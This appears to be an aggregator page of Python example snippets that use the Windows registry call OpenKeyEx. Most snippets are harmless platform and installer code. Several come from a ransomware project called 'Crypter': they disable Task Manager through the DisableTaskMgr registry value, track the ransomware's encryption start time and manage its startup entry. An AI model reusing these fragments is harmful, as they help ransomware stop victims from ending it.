def enable(self):
'''
@summary: Disables Windows Task Manager
'''
key_exists = False
# Try to read the key
try:
reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION)
disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0]
_winreg.CloseKey(reg)
key_exists = True
except:
pass
# If key exists and is disabled, enable it
if key_exists and disabled:
reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,
self.DISABLE_KEY_LOCATION,
0,
_winreg.KEY_SET_VALUE)
_winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000000)
_winreg.CloseKey(reg)
python类OpenKeyEx()的实例源码
def get_start_time(self):
'''
@summary: Get's Crypter's start time from the registry, or creates it if it
doesn't exist
@return: The time that the ransomware began it's encryption operation, in integer epoch form
'''
# Try to open registry key
try:
reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
start_time = _winreg.QueryValueEx(reg, "")[0]
_winreg.CloseKey(reg)
# If failure, create the key
except WindowsError:
start_time = int(time.time())
reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
_winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time))
_winreg.CloseKey(reg)
return start_time
def has_sound(sound):
"""Find out if a particular event is configured with a default sound"""
try:
# Ask the mixer API for the number of devices it knows about.
# When there are no devices, PlaySound will fail.
if ctypes.windll.winmm.mixerGetNumDevs() is 0:
return False
key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER,
"AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound))
value = _winreg.EnumValue(key, 0)[1]
if value is not u"":
return True
else:
return False
except WindowsError:
return False
def has_sound(sound):
"""Find out if a particular event is configured with a default sound"""
try:
# Ask the mixer API for the number of devices it knows about.
# When there are no devices, PlaySound will fail.
if ctypes.windll.winmm.mixerGetNumDevs() is 0:
return False
key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER,
"AppEvents\Schemes\Apps\.Default\{0}\.Default".format(sound))
value = _winreg.EnumValue(key, 0)[1]
if value is not u"":
return True
else:
return False
except WindowsError:
return False
def onUninstall():
path = os.path.join(config.getUserDefaultConfigPath(), ".dbInstall")
if os.path.exists(path):
#This is an update. Bail.
os.remove(path)
return
key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "Environment", 0, _winreg.KEY_READ | _winreg.KEY_WRITE)
try:
value, typ = _winreg.QueryValueEx(key, "Path")
except:
return
if value is None or value == "":
return
dir = os.path.dirname(__file__)
if not isinstance(dir, unicode):
dir = dir.decode(sys.getfilesystemencoding())
dir = dir.replace(addonHandler.DELETEDIR_SUFFIX, "")
if value.find(dir) != -1:
value = value.replace(";" + dir, "")
value = value.replace(dir + ";", "")
value = value.replace(dir, "")
_winreg.SetValueEx(key, "Path", None, typ, value)
sendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, u"Environment")
def phkey(self):
if self._phkey is not None:
return self._phkey
try:
self._phkey = _winreg.OpenKeyEx(self.surkey.phkey, self.name, 0, self.sam)
except WindowsError as e:
raise WindowsError(e.winerror, "Could not open registry key <{0}> ({1})".format(self.fullname, e.strerror))
return self._phkey
def isWinNT(self):
"""Are we running in Windows NT?"""
if self.getType() == 'win32':
import _winreg
try:
k=_winreg.OpenKeyEx(_winreg.HKEY_LOCAL_MACHINE,
r'Software\Microsoft\Windows NT\CurrentVersion')
_winreg.QueryValueEx(k, 'SystemRoot')
return 1
except WindowsError:
return 0
# not windows NT
return 0
def open(cls, *args, **kargs):
return _RegKeyDict(_winreg.OpenKeyEx(*args, **kargs))
def subkey(self, name):
return _RegKeyDict(_winreg.OpenKeyEx(self.key, name))
def get_previous_install_prefixes(pyversion, arch, allusers=True):
"""Returns a list of prefixes for all old installations of this arch so that
they can be removed from PATH if present. Note, it would be preferable to
uninstall them properly instead.
"""
if allusers:
# All Users
key, subkey = (reg.HKEY_LOCAL_MACHINE, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\')
else:
# Just Me
key, subkey = (reg.HKEY_CURRENT_USER, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\')
keylist = []
# We ignore pyversion and instead look for any *conda installations.
regex = re.compile('Python \S+ \(\S+conda[0-9]+ \S+ '+arch+'\)')
_reg_query_sub_keys(key, subkey, keylist)
results = []
for uninstsubkey in keylist:
final_part = os.path.basename(uninstsubkey.rstrip('\\'))
if regex.match(final_part):
try:
with reg.OpenKeyEx(key, uninstsubkey, 0,
reg.KEY_QUERY_VALUE) as keyhandle:
reg_value = reg.QueryValueEx(keyhandle, 'UninstallString')
results.append(os.path.dirname(re.sub(r'^"|"$', '', reg_value[0])))
except:
pass
return results
def disable(self):
'''
@summary: Disables Windows Task Manager
'''
key_exists = False
# Try to read the key
try:
reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.DISABLE_KEY_LOCATION)
disabled = _winreg.QueryValueEx(reg, "DisableTaskMgr")[0]
_winreg.CloseKey(reg)
key_exists = True
except:
pass
# If key doesn't exist, create it and set to disabled
if not key_exists:
reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,
self.DISABLE_KEY_LOCATION)
_winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000001)
_winreg.CloseKey(reg)
# If enabled, disable it
elif key_exists and not disabled:
reg = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,
self.DISABLE_KEY_LOCATION,
0,
_winreg.KEY_SET_VALUE)
_winreg.SetValueEx(reg, "DisableTaskMgr", 0, _winreg.REG_DWORD, 0x00000001)
_winreg.CloseKey(reg)
def __remove_from_startup_programs(self):
'''
@summary: Removes Crypter from the list of startup programs
@todo: Code and test
'''
try:
reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, _winreg.KEY_SET_VALUE)
_winreg.DeleteValue(reg, "Crypter")
_winreg.CloseKey(reg)
except WindowsError:
pass
def delete_registry_entries(self):
'''
@summary: Deletes the timer registry key
'''
# Open and delete the key
try:
reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION)
_winreg.DeleteKeyEx(reg, "")
_winreg.CloseKey(reg)
except WindowsError:
# Ignore any Windows errors
pass
def isWinNT(self):
"""Are we running in Windows NT?"""
if self.getType() == 'win32':
import _winreg
try:
k=_winreg.OpenKeyEx(_winreg.HKEY_LOCAL_MACHINE,
r'Software\Microsoft\Windows NT\CurrentVersion')
_winreg.QueryValueEx(k, 'SystemRoot')
return 1
except WindowsError:
return 0
# not windows NT
return 0
def open(cls, *args, **kargs):
return _RegKeyDict(_winreg.OpenKeyEx(*args, **kargs))
def subkey(self, name):
return _RegKeyDict(_winreg.OpenKeyEx(self.key, name))
def open(self, keyhandle, keypath, flags = None):
if type(keypath) is str:
keypath = keypath.split('\\')
if flags is None:
for subkey in keypath:
keyhandle = _winreg.CreateKey(keyhandle, subkey)
else:
for subkey in keypath:
keyhandle = _winreg.OpenKeyEx(keyhandle, subkey, 0, flags)
self.keyhandle = keyhandle
def cookie_dir(self):
import _winreg as winreg
key = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, 'Software'
'\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders')
cookie_dir, type = winreg.QueryValueEx(key, 'Cookies')
return cookie_dir
def onInstall(postPathBug = False):
#Add ourself to the path, so that commands when spoken can be queried to us.
#Only if we are truely installing though.
addons = []
if not postPathBug:
addons = addonHandler.getAvailableAddons()
for addon in addons:
if addon.name=="DictationBridge":
#Hack to work around condition where
#the uninstaller removes this addon from the path
#After the installer for the updator ran.
#We could use version specific directories, but wsr macros Does not
#play nice with refreshing the path environment after path updates,
# requiring a complete reboot of wsr, or commands spontaneously break cripticly.
with open(os.path.join(config.getUserDefaultConfigPath(), ".dbInstall"),
"w") as fi:
fi.write("dbInstall")
return
key = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, "Environment", 0, _winreg.KEY_READ | _winreg.KEY_WRITE)
try:
value, typ = _winreg.QueryValueEx(key, "Path")
except:
value, typ = None, _winreg.REG_EXPAND_SZ
if value is None:
value = ""
dir = os.path.dirname(__file__)
if not isinstance(dir, unicode):
dir = dir.decode(sys.getfilesystemencoding())
dir = dir.replace(addonHandler.ADDON_PENDINGINSTALL_SUFFIX, "")
log.info("addon directory: %r" % dir)
log.info("current PATH: %r" % value)
if value.lower().find(dir.lower()) == -1:
if value != "":
value += ";"
value += dir
log.info("new PATH: %r" % value)
_winreg.SetValueEx(key, "Path", None, typ, value)
sendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0, u"Environment")
def win32_ver(release='', version='', csd='', ptype=''):
try:
from sys import getwindowsversion
except ImportError:
return release, version, csd, ptype
try:
from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
except ImportError:
from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
winver = getwindowsversion()
maj, min, build = _get_real_winver(*winver[:3])
version = '{0}.{1}.{2}'.format(maj, min, build)
release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
_WIN32_CLIENT_RELEASES.get((maj, None)) or
release)
# getwindowsversion() reflect the compatibility mode Python is
# running under, and so the service pack value is only going to be
# valid if the versions match.
if winver[:2] == (maj, min):
try:
csd = 'SP{}'.format(winver.service_pack_major)
except AttributeError:
if csd[:13] == 'Service Pack ':
csd = 'SP' + csd[13:]
# VER_NT_SERVER = 3
if getattr(winver, 'product_type', None) == 3:
release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
_WIN32_SERVER_RELEASES.get((maj, None)) or
release)
key = None
try:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
ptype = QueryValueEx(key, 'CurrentType')[0]
except:
pass
finally:
if key:
CloseKey(key)
return release, version, csd, ptype
def win32_ver(release='', version='', csd='', ptype=''):
try:
from sys import getwindowsversion
except ImportError:
return release, version, csd, ptype
try:
from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
except ImportError:
from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
winver = getwindowsversion()
maj, min, build = _get_real_winver(*winver[:3])
version = '{0}.{1}.{2}'.format(maj, min, build)
release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
_WIN32_CLIENT_RELEASES.get((maj, None)) or
release)
# getwindowsversion() reflect the compatibility mode Python is
# running under, and so the service pack value is only going to be
# valid if the versions match.
if winver[:2] == (maj, min):
try:
csd = 'SP{}'.format(winver.service_pack_major)
except AttributeError:
if csd[:13] == 'Service Pack ':
csd = 'SP' + csd[13:]
# VER_NT_SERVER = 3
if getattr(winver, 'product_type', None) == 3:
release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
_WIN32_SERVER_RELEASES.get((maj, None)) or
release)
key = None
try:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
ptype = QueryValueEx(key, 'CurrentType')[0]
except:
pass
finally:
if key:
CloseKey(key)
return release, version, csd, ptype
def win32_ver(release='', version='', csd='', ptype=''):
try:
from sys import getwindowsversion
except ImportError:
return release, version, csd, ptype
try:
from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
except ImportError:
from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
winver = getwindowsversion()
maj, min, build = _get_real_winver(*winver[:3])
version = '{0}.{1}.{2}'.format(maj, min, build)
release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
_WIN32_CLIENT_RELEASES.get((maj, None)) or
release)
# getwindowsversion() reflect the compatibility mode Python is
# running under, and so the service pack value is only going to be
# valid if the versions match.
if winver[:2] == (maj, min):
try:
csd = 'SP{}'.format(winver.service_pack_major)
except AttributeError:
if csd[:13] == 'Service Pack ':
csd = 'SP' + csd[13:]
# VER_NT_SERVER = 3
if getattr(winver, 'product_type', None) == 3:
release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
_WIN32_SERVER_RELEASES.get((maj, None)) or
release)
key = None
try:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
ptype = QueryValueEx(key, 'CurrentType')[0]
except:
pass
finally:
if key:
CloseKey(key)
return release, version, csd, ptype
def win32_ver(release='', version='', csd='', ptype=''):
try:
from sys import getwindowsversion
except ImportError:
return release, version, csd, ptype
try:
from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
except ImportError:
from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
winver = getwindowsversion()
maj, min, build = _get_real_winver(*winver[:3])
version = '{0}.{1}.{2}'.format(maj, min, build)
release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
_WIN32_CLIENT_RELEASES.get((maj, None)) or
release)
# getwindowsversion() reflect the compatibility mode Python is
# running under, and so the service pack value is only going to be
# valid if the versions match.
if winver[:2] == (maj, min):
try:
csd = 'SP{}'.format(winver.service_pack_major)
except AttributeError:
if csd[:13] == 'Service Pack ':
csd = 'SP' + csd[13:]
# VER_NT_SERVER = 3
if getattr(winver, 'product_type', None) == 3:
release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
_WIN32_SERVER_RELEASES.get((maj, None)) or
release)
key = None
try:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
ptype = QueryValueEx(key, 'CurrentType')[0]
except:
pass
finally:
if key:
CloseKey(key)
return release, version, csd, ptype
def win32_ver(release='', version='', csd='', ptype=''):
try:
from sys import getwindowsversion
except ImportError:
return release, version, csd, ptype
try:
from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
except ImportError:
from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
winver = getwindowsversion()
maj, min, build = _get_real_winver(*winver[:3])
version = '{0}.{1}.{2}'.format(maj, min, build)
release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
_WIN32_CLIENT_RELEASES.get((maj, None)) or
release)
# getwindowsversion() reflect the compatibility mode Python is
# running under, and so the service pack value is only going to be
# valid if the versions match.
if winver[:2] == (maj, min):
try:
csd = 'SP{}'.format(winver.service_pack_major)
except AttributeError:
if csd[:13] == 'Service Pack ':
csd = 'SP' + csd[13:]
# VER_NT_SERVER = 3
if getattr(winver, 'product_type', None) == 3:
release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
_WIN32_SERVER_RELEASES.get((maj, None)) or
release)
key = None
try:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
ptype = QueryValueEx(key, 'CurrentType')[0]
except:
pass
finally:
if key:
CloseKey(key)
return release, version, csd, ptype
def win32_ver(release='', version='', csd='', ptype=''):
try:
from sys import getwindowsversion
except ImportError:
return release, version, csd, ptype
try:
from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
except ImportError:
from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
winver = getwindowsversion()
maj, min, build = _get_real_winver(*winver[:3])
version = '{0}.{1}.{2}'.format(maj, min, build)
release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
_WIN32_CLIENT_RELEASES.get((maj, None)) or
release)
# getwindowsversion() reflect the compatibility mode Python is
# running under, and so the service pack value is only going to be
# valid if the versions match.
if winver[:2] == (maj, min):
try:
csd = 'SP{}'.format(winver.service_pack_major)
except AttributeError:
if csd[:13] == 'Service Pack ':
csd = 'SP' + csd[13:]
# VER_NT_SERVER = 3
if getattr(winver, 'product_type', None) == 3:
release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
_WIN32_SERVER_RELEASES.get((maj, None)) or
release)
key = None
try:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
ptype = QueryValueEx(key, 'CurrentType')[0]
except:
pass
finally:
if key:
CloseKey(key)
return release, version, csd, ptype
def win32_ver(release='', version='', csd='', ptype=''):
try:
from sys import getwindowsversion
except ImportError:
return release, version, csd, ptype
try:
from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
except ImportError:
from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
winver = getwindowsversion()
maj, min, build = _get_real_winver(*winver[:3])
version = '{0}.{1}.{2}'.format(maj, min, build)
release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
_WIN32_CLIENT_RELEASES.get((maj, None)) or
release)
# getwindowsversion() reflect the compatibility mode Python is
# running under, and so the service pack value is only going to be
# valid if the versions match.
if winver[:2] == (maj, min):
try:
csd = 'SP{}'.format(winver.service_pack_major)
except AttributeError:
if csd[:13] == 'Service Pack ':
csd = 'SP' + csd[13:]
# VER_NT_SERVER = 3
if getattr(winver, 'product', None) == 3:
release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
_WIN32_SERVER_RELEASES.get((maj, None)) or
release)
key = None
try:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
ptype = QueryValueEx(key, 'CurrentType')[0]
except:
pass
finally:
if key:
CloseKey(key)
return release, version, csd, ptype
def win32_ver(release='', version='', csd='', ptype=''):
try:
from sys import getwindowsversion
except ImportError:
return release, version, csd, ptype
try:
from winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
except ImportError:
from _winreg import OpenKeyEx, QueryValueEx, CloseKey, HKEY_LOCAL_MACHINE
winver = getwindowsversion()
maj, min, build = _get_real_winver(*winver[:3])
version = '{0}.{1}.{2}'.format(maj, min, build)
release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or
_WIN32_CLIENT_RELEASES.get((maj, None)) or
release)
# getwindowsversion() reflect the compatibility mode Python is
# running under, and so the service pack value is only going to be
# valid if the versions match.
if winver[:2] == (maj, min):
try:
csd = 'SP{}'.format(winver.service_pack_major)
except AttributeError:
if csd[:13] == 'Service Pack ':
csd = 'SP' + csd[13:]
# VER_NT_SERVER = 3
if getattr(winver, 'product_type', None) == 3:
release = (_WIN32_SERVER_RELEASES.get((maj, min)) or
_WIN32_SERVER_RELEASES.get((maj, None)) or
release)
key = None
try:
key = OpenKeyEx(HKEY_LOCAL_MACHINE,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion')
ptype = QueryValueEx(key, 'CurrentType')[0]
except:
pass
finally:
if key:
CloseKey(key)
return release, version, csd, ptype